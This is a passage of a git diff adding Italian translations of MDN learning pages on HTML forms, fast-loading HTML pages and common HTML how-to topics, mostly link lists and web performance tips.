+ <li><a href="/en-US/docs/Learn/Forms/How_to_structure_a_web_form">Come strutturare una form web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Basic_native_form_controls">I principali controlli nativi delle form</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/HTML5_input_types">I tipi di input HTML5</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Other_form_controls">Altri controlli delle form</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">Aggiungere stile alle form web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Stili delle form avanzati</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/UI_pseudo-classes">Le pseudo-classi UI</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Form_validation">Validazione delle form dal dato client</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">Inviare i dati delle form</a></li>
+</ul>
+
+<h3 id="Argomenti_avanzati">Argomenti avanzati</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_controls">Come costurire controlli delle form personalizzati</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_forms_through_JavaScript">Inviare le forms con JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">Tabella di compatibilità dei controlli per le form</a></li>
+</ul>
diff --git a/files/it/learn/html/forms/index.html b/files/it/learn/html/forms/index.html
new file mode 100644
index 0000000000..45c0d055dd
--- /dev/null
+++ b/files/it/learn/html/forms/index.html
@@ -0,0 +1,85 @@
+---
+title: HTML forms
+slug: Learn/HTML/Forms
+tags:
+  - Beginner
+  - Featured
+  - Forms
+  - Guide
+  - HTML
+  - Landing
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Learn/Forms
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Questo modulo fornisce una serie di articoli che ti aiuteranno ad apprendere le parti essenziali dei web forms. I web forms sono dei tool molto potenti per l'interazione con gli utenti - sono usati di solito per la raccolta di dati dagli utenti, o per permettere loro di controllare l'interfaccia utente. Tuttavia, per questioni storiche e tecniche non è sempre chiaro come sfruttare tutto il loro potenziale. Negli articoli che seguono, copriremo tutti gli aspetti essenziali dei web forms includendo anche la realizzazione della loro struttura HTML, dello stile dei controlli del form, della validazione dei dati del form, e dell'invio dei dati al server.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare questo modulo, dovresti almeno affrontare la nostra parte di <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">introduzione all'HTML</a> A questo punto dovresti trovare le {{anch("guide introduttive")}} facili da capire, e dovresti anche sapere utilizzare la guida base sui <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls">Native form controls</a>.</p>
+
+<p>Sapere utilizzare perfettamente i forms, comunque, richede molto più della semplice conoscenza HTML - avrai anche bisogno di imparare alcune specifiche tecniche per dare uno stile ai controlli del form, ed è richiesta anche un pò di conoscenza di scripting per affronte cose come la validazione e la creazione di controlli del form personalizzati. Pertanto, prima di andare ad affrontare le altre sezioni presenti qui sotto, ti raccomandiamo di abbandonare questa pagina ed imparare prima un pò di CSS e Javascript.</p>
+
+<p>Il paragrafo qui sopra spiega bene il perchè abbiamo messo i web forms in una pagina a solo, piuttosto che mischiare un pò di questi contenuti nelle aree delle pagine che spiegano HTML, CSS e Javascript — gli elementi del form sono molto più complessi rispetto a tutti gli altri elementi HTML, e richiedono anche un connubio perfetto con le tecniche CSS e Javascript per ottenere il massimo da loro.</p>
+
+<div class="note">
+<p><strong>Nota bene</strong>: Se stai lavorando su un computer/tablet/altro dispositivo dove non sei in grado di creare i tuoi file, dovresti provare gli esempi di codice su un programma di coding online come <a href="http://jsbin.com/">JSBin</a> o <a href="https://glitch.com/">Glitch</a></p>
+</div>
+
+<h2 id="Guida_introduttiva">Guida introduttiva</h2>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Your_first_form">Il tuo primo form HTML</a></dt>
+ <dd>The first article in our series provides your very first experience of creating an HTML form, including designing a simple form, implementing it using the right HTML elements, adding some very simple styling via CSS, and how data is sent to a server.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></dt>
+ <dd>With the basics out of the way, we now look in more detail at the elements used to provide structure and meaning to the different parts of a form.</dd>
+</dl>
+
+<h2 id="What_form_widgets_are_available">What form widgets are available?</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></dt>
+ <dd>We now look at the functionality of the different form widgets in detail, looking at what options are available to collect different types of data.</dd>
+</dl>
+
+<h2 id="Validating_and_submitting_form_data">Validating and submitting form data</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></dt>
+ <dd>This article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there? We also look at some of the security concerns associated with sending form data.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></dt>
+ <dd>Sending data is not enough — we also need to make sure that the data users fill out in forms is in the correct format we need to process it successfully, and that it won't break our applications. We also want to help our users to fill out our forms correctly and don't get frustrated when trying to use our apps. Form validation helps us achieve these goals — this article tells you what you need to know.</dd>
+</dl>
+
+<h2 id="Advanced_guides">Advanced guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></dt>
+ <dd>You'll come across some cases where the native form widgets just don't provide what you need, e.g. because of styling or functionality. In such cases, you may need to build your own form widget out of raw HTML. This article explains how you'd do this and the considerations you need to be aware of when doing so, with a practical case study.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></dt>
+ <dd>This article looks at ways to use a form to assemble an HTTP request and send it via custom JavaScript, rather than standard form submission. It also looks at why you'd want to do this, and the implications of doing so. (See also Using FormData objects.)</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></dt>
+ <dd>Article covering feature detection, etc. This should be redirected to the cross browser testing module, as the same stuff is covered better there.</dd>
+</dl>
+
+<h2 id="Form_styling_guides">Form styling guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></dt>
+ <dd>This article provides an introduction to styling forms with CSS, including all the basics you might need to know for basic styling tasks.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></dt>
+ <dd>Here we look at some more advanced form styling techniques that need to be used when trying to deal with some of the more difficult-to-style elements.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></dt>
+ <dd>This last article provides a handy reference allowing you to look up what CSS properties are compatible with what form elements.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element#Forms">HTML forms element reference</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/input">HTML &lt;input&gt; types reference</a></li>
+</ul>
diff --git a/files/it/learn/html/howto/author_fast-loading_html_pages/index.html b/files/it/learn/html/howto/author_fast-loading_html_pages/index.html
new file mode 100644
index 0000000000..ff1155be75
--- /dev/null
+++ b/files/it/learn/html/howto/author_fast-loading_html_pages/index.html
@@ -0,0 +1,185 @@
+---
+title: Suggerimenti per l'authoring di pagine HTML in rapido caricamento
+slug: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+tags:
+  - Avanzate
+  - Guide
+  - HTML
+  - Performance
+  - Web
+  - siti web
+translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+---
+<p>Questi suggerimenti si basano su conoscenze e sperimentazioni comuni.</p>
+
+<p>Una pagina Web ottimizzata non solo offre un sito più reattivo per i visitatori, ma riduce anche il carico sui server Web e sulla connessione Internet. Questo può essere cruciale per siti ad alto volume che hanno un picco nel traffico a causa di circostanze insolite come le ultime notizie.</p>
+
+<p>Ottimizzare le prestazioni di caricamento della pagina non è solo per i contenuti che verranno visualizzati dai visitatori di dispositivi mobili o dial-up a banda stretta. È altrettanto importante per i contenuti a banda larga e può portare a notevoli miglioramenti anche per i tuoi visitatori con le connessioni più veloci.</p>
+
+<h2 id="Suggerimenti">Suggerimenti</h2>
+
+<h3 id="Riduzione_del_peso_di_una_pagina">Riduzione del peso di una pagina</h3>
+
+<p>Il peso della pagina è di gran lunga il fattore più importante nelle prestazioni del caricamento della pagina.</p>
+
+<p>Riducendo il peso della pagina attraverso l'eliminazione di spazi bianchi e commenti non necessari, comunemente noti come minimizzazione, e spostando script inline e CSS in file esterni, è possibile migliorare le prestazioni di download con il minimo bisogno di altre modifiche nella struttura della pagina.</p>
+
+<p>Strumenti come <a href="http://www.html-tidy.org">HTML Tidy</a> possono automaticamente rimuovere gli spazi bianchi iniziali e le righe vuote aggiuntive da una sorgente HTML valida. Altri strumenti possono "comprimere" JavaScript riformattando l'origine o offuscando l'origine e sostituendo gli identificatori lunghi con versioni più brevi.</p>
+
+<h3 id="Riduci_al_minimo_il_numero_di_file">Riduci al minimo il numero di file</h3>
+
+<p>Riducendo il numero di file referenziati in una pagina web si riduce il numero di connessioni HTTP richieste per scaricare una pagina, riducendo quindi il tempo per l'invio di tali richieste e la ricezione delle loro risposte.</p>
+
+<p>A seconda delle impostazioni della cache di un browser, può inviare una richiesta con l'intestazione <a href="/en-US/docs/Web/HTTP/Headers/If-Modified-Since">If-Modified-Since</a> per ogni file di riferimento, chiedendo se il file è stato modificato dall'ultima volta che è stato scaricato. Troppo tempo trascorso a interrogare l'ultima ora modificata dei file di riferimento può ritardare la visualizzazione iniziale della pagina Web, poiché il browser deve controllare l'ora di modifica per ciascuno di questi file, prima di eseguire il rendering della pagina.</p>
+
+<p>Se si utilizzano molto le immagini di sfondo nel CSS, è possibile ridurre la quantità di ricerche HTTP necessarie combinando le immagini in una, nota come immagine sprite. Quindi applichi la stessa immagine ogni volta che ne hai bisogno per uno sfondo e regola le coordinate x / y in modo appropriato. Questa tecnica funziona meglio con elementi che avranno dimensioni limitate e non funzionerà per ogni uso di un'immagine di sfondo. Tuttavia, le minori richieste HTTP e la memorizzazione nella cache di immagini singole possono ridurre il tempo di caricamento della pagina.</p>
+
+<h3 id="Riduci_le_ricerche_di_dominio">Riduci le ricerche di dominio</h3>
+
+<p>Poiché ogni dominio separato costa tempo in una ricerca DNS, il tempo di caricamento della pagina aumenterà insieme al numero di domini separati che appaiono nei link CSS e JavaScript e image src (es).</p>
+
+<p>Questo potrebbe non essere sempre pratico; tuttavia, dovresti sempre fare attenzione a utilizzare solo il numero minimo necessario di domini diversi nelle tue pagine.</p>
+
+<h3 id="Cache_che_riutilizzi_i_contenuti">Cache che riutilizzi i contenuti</h3>
+
+<p>Assicurati che ogni contenuto che può essere memorizzato nella cache, sia memorizzato nella cache e con i tempi di scadenza appropriati.</p>
+
+<p>In particolare, prestare attenzione all'intestazione <code>Last-Modified</code>. Consente un'efficiente memorizzazione nella cache della pagina; tramite questa intestazione, le informazioni vengono trasmesse all'agente utente sul file che desidera caricare, ad esempio quando è stata modificata l'ultima volta. La maggior parte dei server Web aggiunge automaticamente l'intestazione <code>Last-Modified</code> alle pagine statiche (ad esempio .html, .css), in base alla data dell'ultima modifica memorizzata nel file system. Con le pagine dinamiche (ad esempio <code>.php</code>, <code>.aspx</code>), questo, ovviamente, non può essere eseguito e l'intestazione non viene inviata.</p>
+
+<p>Quindi, in particolare per le pagine generate dinamicamente, una piccola ricerca su questo argomento è vantaggiosa. Può essere in qualche modo coinvolto, ma farà risparmiare parecchio nelle richieste di pagine su pagine che normalmente non potrebbero essere memorizzate nella cache.</p>
+
+<p>Maggiori informazioni:</p>
+
+<ol>
+ <li><a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">HTTP Conditional Get for RSS Hackers</a></li>
+ <li><a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a></li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/HTTP_ETag">HTTP ETag on Wikipedia</a></li>
+ <li><a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html">Caching in HTTP</a></li>
+</ol>
+
+<h3 id="Ordina_in_modo_ottimale_i_componenti_della_pagina">Ordina in modo ottimale i componenti della pagina</h3>
+
+<p>Scarica prima il contenuto della pagina, insieme a qualsiasi CSS o JavaScript che potrebbe essere richiesto per la sua visualizzazione iniziale, in modo che l'utente ottenga la risposta apparente più rapida durante il caricamento della pagina. Questo contenuto è tipicamente testo e può quindi trarre vantaggio dalla compressione del testo durante il trasporto, fornendo così una risposta ancora più rapida all'utente.</p>
+
+<p>Qualsiasi funzionalità dinamica che richiede il completamento del caricamento della pagina prima di essere utilizzata, dovrebbe inizialmente essere disabilitata e quindi abilitata solo dopo il caricamento della pagina. Ciò causerà il caricamento del JavaScript dopo il contenuto della pagina, che migliorerà l'aspetto generale del caricamento della pagina.</p>
+
+<h3 id="Reduce_the_number_of_inline_scripts" name="Reduce_the_number_of_inline_scripts">Ridurre il numero di script in linea</h3>
+
+<p>Gli script in linea possono essere costosi per il caricamento della pagina, poiché il parser deve presupporre che uno script inline possa modificare la struttura della pagina mentre è in corso l'analisi. Ridurre l'uso degli script in linea in generale e ridurre l'uso di  <code>document.write()</code> per l'output del contenuto, in particolare, può migliorare il caricamento generale della pagina. Usa i moderni metodi <a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a> per manipolare il contenuto della pagina per i browser moderni, piuttosto che per gli approcci più vecchi basati su <code>document.write()</code>.</p>
+
+<h3 id="Usa_CSS_moderno_e_marcatura_valida">Usa CSS moderno e marcatura valida</h3>
+
+<p>L'uso del CSS moderno riduce la quantità di markup, può ridurre la necessità di immagini (spaziali), in termini di layout, e può molto spesso sostituire immagini di testo stilizzato - che "costano" molto più del testo equivalente e CSS .</p>
+
+<p>L'utilizzo del markup valido presenta altri vantaggi. Innanzitutto, i browser non avranno bisogno di eseguire correzioni degli errori durante l'analisi dell'HTML (questo a parte il problema filosofico di consentire o meno la variazione del formato nell'input dell'utente, quindi programmaticamente "correggerlo" o normalizzarlo o se, invece, applicare un formato di input rigoroso e senza tolleranza).</p>
+
+<p>Inoltre, il markup valido consente l'uso gratuito di altri strumenti che possono pre-elaborare le tue pagine web. Ad esempio, <a href="http://tidy.sourceforge.net/">HTML Tidy</a> può rimuovere spazi bianchi e tag finali opzionali; tuttavia, rifiuterà di funzionare su una pagina con gravi errori di markup.</p>
+
+<h3 id="Parte_del_contenuto">Parte del contenuto</h3>
+
+<p>Le tabelle per i layout sono un metodo legacy che non dovrebbe essere più utilizzato. Dovrebbero invece essere utilizzati layout che utilizzano <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">positioning</a>, <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>, or <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">griglie</a>.</p>
+
+<p>Le tabelle sono ancora considerate un markup valido, ma dovrebbero essere utilizzate per la visualizzazione di dati tabulari. Per aiutare il browser a rendere più veloce la tua pagina, dovresti evitare di annidare le tue tabelle.</p>
+
+<p>Piuttosto che tabelle di nidificazione profonda come in:</p>
+
+<pre>&lt;table&gt;
+  &lt;table&gt;
+    &lt;table&gt;
+          ...
+    &lt;/table&gt;
+  &lt;/table&gt;
+&lt;/table&gt;</pre>
+
+<p>usa tabelle o div non annidate come in</p>
+
+<pre>&lt;table&gt;...&lt;/table&gt;
+&lt;table&gt;...&lt;/table&gt;
+&lt;table&gt;...&lt;/table&gt;
+</pre>
+
+<p>Guarda anche: <a class="external" href="https://www.w3.org/TR/css-flexbox-1/" title="https://www.w3.org/TR/css-flexbox-1/">CSS Flexible Box Layout</a> e specifiche della <a class="external" href="https://www.w3.org/TR/css-grid-1/" title="https://www.w3.org/TR/css-grid-1/">CSS Grid Layout</a>.</p>
+
+<h3 id="Minimizza_e_comprime_risorse_SVG">Minimizza e comprime risorse SVG</h3>
+
+<p>SVG prodotto dalla maggior parte delle applicazioni di disegno spesso contiene metadati non necessari che possono essere rimossi. Configura i tuoi server applica la compressione gzip per le risorse SVG.</p>
+
+<h3 id="Minimizza_e_comprimi_le_tue_immagini">Minimizza e comprimi le tue immagini</h3>
+
+<p>Immagini di grandi dimensioni fanno sì che la tua pagina impieghi più tempo per essere caricata. Prendi in considerazione la possibilità di comprimere le tue immagini prima di aggiungerle alla tua pagina. Strumenti online come Compress Jpeg, Tiny PNG e molti altri strumenti sono disponibili online. Puoi utilizzare strumenti offline come Photoshop e altri.</p>
+
+<h3 id="Specify_sizes_for_images_and_tables">Specify sizes for images and tables</h3>
+
+<p>Se il browser è in grado di determinare immediatamente l'altezza e / o la larghezza delle immagini e delle tabelle, sarà in grado di visualizzare una pagina Web senza dover ridisporre il contenuto. Questo non solo accelera la visualizzazione della pagina ma impedisce fastidiose modifiche al layout di una pagina quando la pagina completa il caricamento. Per questo motivo, l'altezza e la larghezza dovrebbero essere specificate per le immagini, quando possibile.</p>
+
+<p>Le tabelle dovrebbero usare il selettore CSS: combinazione di proprietà:</p>
+
+<pre>  table-layout: fixed;
+</pre>
+
+<p>e dovrebbe specificare le larghezze delle colonne usando gli elementi <code><a href="/en-US/docs/Web/HTML/Element/col">&lt;col&gt;</a></code> e <code><a href="/en-US/docs/Web/HTML/Element/colgroup">&lt;colgroup&gt;</a></code>.</p>
+
+<h3 id="Scegli_saggiamente_i_tuoi_requisiti_user-agent">Scegli saggiamente i tuoi requisiti user-agent</h3>
+
+<p>Per ottenere i migliori miglioramenti nella progettazione della pagina, assicurarsi che siano richiesti requisiti ragionevoli per l'utente-agente per i progetti. Non richiedere che i tuoi contenuti appaiano pixel perfetti in tutti i browser, specialmente nei browser in versione down.</p>
+
+<p>Idealmente, i requisiti minimi di base dovrebbero essere basati sulla considerazione dei browser moderni che supportano gli standard pertinenti. Questo può includere versioni recenti di Firefox, Internet Explorer, Google Chrome, Opera e Safari.</p>
+
+<p>Si noti, tuttavia, che molti dei suggerimenti elencati in questo articolo sono tecniche di senso comune applicabili a qualsiasi agente utente e possono essere applicate a qualsiasi pagina Web, indipendentemente dai requisiti di supporto del browser.</p>
+
+<h3 id="Utilizzare_async_e_defer_se_possibile">Utilizzare async e defer, se possibile</h3>
+
+<p>Crea gli script JavaScript in modo tale che siano compatibili sia con <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/script#Attributes" title="https://developer.mozilla.org/en-US/docs/HTML/Element/script">async</a> sia con il <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/script#Attributes" title="https://developer.mozilla.org/en-US/docs/HTML/Element/script">defer</a> e usa <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/script#Attributes" title="https://developer.mozilla.org/en-US/docs/HTML/Element/script">async</a> quando possibile, specialmente se hai più tag di script.<br>
+ Con ciò, la pagina può interrompere il rendering mentre JavaScript è ancora in fase di caricamento. Altrimenti, il browser non renderà nulla che si trova dopo i tag di script che non hanno questi attributi.</p>
+
+<p>Nota: sebbene questi attributi siano di grande aiuto per la prima volta in cui viene caricata una pagina, è necessario utilizzarli ma non fare affidamento sul fatto che funzionerà su tutti i browser. Se segui tutte le linee guida per creare un buon codice JavaScript, non è necessario modificare il codice.</p>
+
+<h2 id="Example_page_structure" name="Example_page_structure">Esempio di struttura della pagina</h2>
+
+<p>· <code>HTML</code></p>
+
+<dl>
+ <dd>· <code>HEAD</code></dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>LINK </code>...<br>
+  File CSS richiesti per l'aspetto della pagina. Riduci al minimo il numero di file per le prestazioni mantenendo CSS indipendenti in file separati per la manutenzione.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>SCRIPT </code>...File JavaScript per funzioni richieste durante il caricamento della pagina, ma non DHTML che può essere eseguito solo dopo il caricamento della pagina.</dd>
+  <dd>Riduci al minimo il numero di file per le prestazioni mantenendo JavaScript non correlato in file separati per la manutenzione.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd>· <code>BODY</code></dd>
+ <dd>· L'utente visualizza il contenuto della pagina in piccoli blocchi (tabelle / div) che possono essere visualizzati senza attendere il download della pagina intera.</dd>
+</dl>
+
+<dl>
+ <dd>
+ <dl>
+  <dd>· <code>SCRIPT </code>...Qualsiasi script che verrà utilizzato per eseguire DHTML. Lo script DHTML in genere può essere eseguito solo dopo che la pagina è stata caricata completamente e tutti gli oggetti necessari sono stati inizializzati. Non è necessario caricare questi script prima del contenuto della pagina. Questo rallenta solo l'aspetto iniziale del caricamento della pagina.</dd>
+  <dd>Riduci al minimo il numero di file per le prestazioni mantenendo JavaScript non correlato in file separati per la manutenzione.</dd>
+  <dd>Se vengono utilizzate immagini per gli effetti di rollover, è necessario precaricarle qui dopo che il contenuto della pagina è stato scaricato.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Link_correlati">Link correlati</h2>
+
+<ul>
+ <li>Book: <a class="external" href="http://www.websiteoptimization.com/">"Speed Up Your Site" by Andy King</a></li>
+ <li>The excellent and very complete <a class="external" href="http://developer.yahoo.com/performance/rules.html" title="http://developer.yahoo.com/performance/rules.html">Best Practices for Speeding Up Your Web Site</a> (Yahoo!)</li>
+ <li>Tools for analyzing and optimizing performance: <a href="https://developers.google.com/speed/pagespeed/" title="https://developers.google.com/speed/pagespeed/">Google PageSpeed Tools</a></li>
+ <li><a href="/en-US/docs/Tools/Paint_Flashing_Tool">Paint Flashing Tool</a></li>
+</ul>
diff --git a/files/it/learn/html/howto/index.html b/files/it/learn/html/howto/index.html
new file mode 100644
index 0000000000..5343bdbaad
--- /dev/null
+++ b/files/it/learn/html/howto/index.html
@@ -0,0 +1,155 @@
+---
+title: Use HTML to solve common problems
+slug: Learn/HTML/Howto
+tags:
+  - CodingScripting
+  - HTML
+  - NeedsTranslation
+  - TopicStub
+translation_of: Learn/HTML/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">The following links point to solutions to common everyday problems you'll need to solve with HTML.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Basic_structure">Basic structure</h3>
+
+<p>The most basic application of HTML is document structure. If you're new to HTML you should start with this.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">How to create a basic HTML document</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">How to divide a webpage into logical sections</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">How to set up a proper structure of headings and paragraphs</a></li>
+</ul>
+
+<h3 id="Basic_text-level_semantics">Basic text-level semantics</h3>
+
+<p>HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">How to create list of items with HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to stress or emphasize content</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to indicate that text is important</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code">How to display computer code with HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">How to annotate images and graphics</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">How to mark abbreviations and make them understandable</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations">How to add quotations and citations to webpages</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">How to define terms with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Hyperlinks">Hyperlinks</h3>
+
+<p>One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">How to create a hyperlink</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">How to create a table of contents with HTML</a></li>
+</ul>
+
+<h3 id="Images_multimedia">Images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">How to add images to a webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add video content to a webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add audio content to a webpage</a></li>
+</ul>
+
+<h3 id="Scripting_styling">Scripting &amp; styling</h3>
+
+<p>HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to use CSS within a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">How to use JavaScript within a webpage</a></li>
+</ul>
+
+<h3 id="Embedded_content">Embedded content</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">How to embed a webpage within another webpage</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">How to add Flash content within a webpage</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_or_advanced_problems">Uncommon or advanced problems</h2>
+
+<p>Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Forms">Forms</h3>
+
+<p>Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our <a href="/en-US/docs/Web/Guide/HTML/Forms">full dedicated guide</a>. Here is where you should start:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">How to create a simple Web form</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">How to structure a Web form</a></li>
+</ul>
+
+<h3 id="Tabular_information">Tabular information</h3>
+
+<p>Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">How to create a data spreadsheet</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">How to make HTML tables accessible</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">How to optimize HTML table rendering</a></li>
+</ul>
+
+<h3 id="Data_representation">Data representation</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">How to represent numeric values with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">How to use data attributes</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">How to associate human readable content with arbitrary computer data structures</a></li>
+</ul>
+
+<h3 id="Interactivity">Interactivity</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">How to create collapsible content with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">How to add context menus to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">How to create dialog boxes with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Advanced_text_semantics">Advanced text semantics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">How to take control of HTML line breaking</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">How to mark changes (added and removed text)</a></li>
+</ul>
+
+<h3 id="Advanced_images_multimedia">Advanced images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">How to add responsive image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">How to add vector image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">How to add a hit map on top of an image</a></li>
+</ul>
+
+<h3 id="Internationalization">Internationalization</h3>
+
+<p>HTML is not monolingual. It provides tools to handle common internationalization issues.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">How to add multiple languages into a single webpage</a></li>
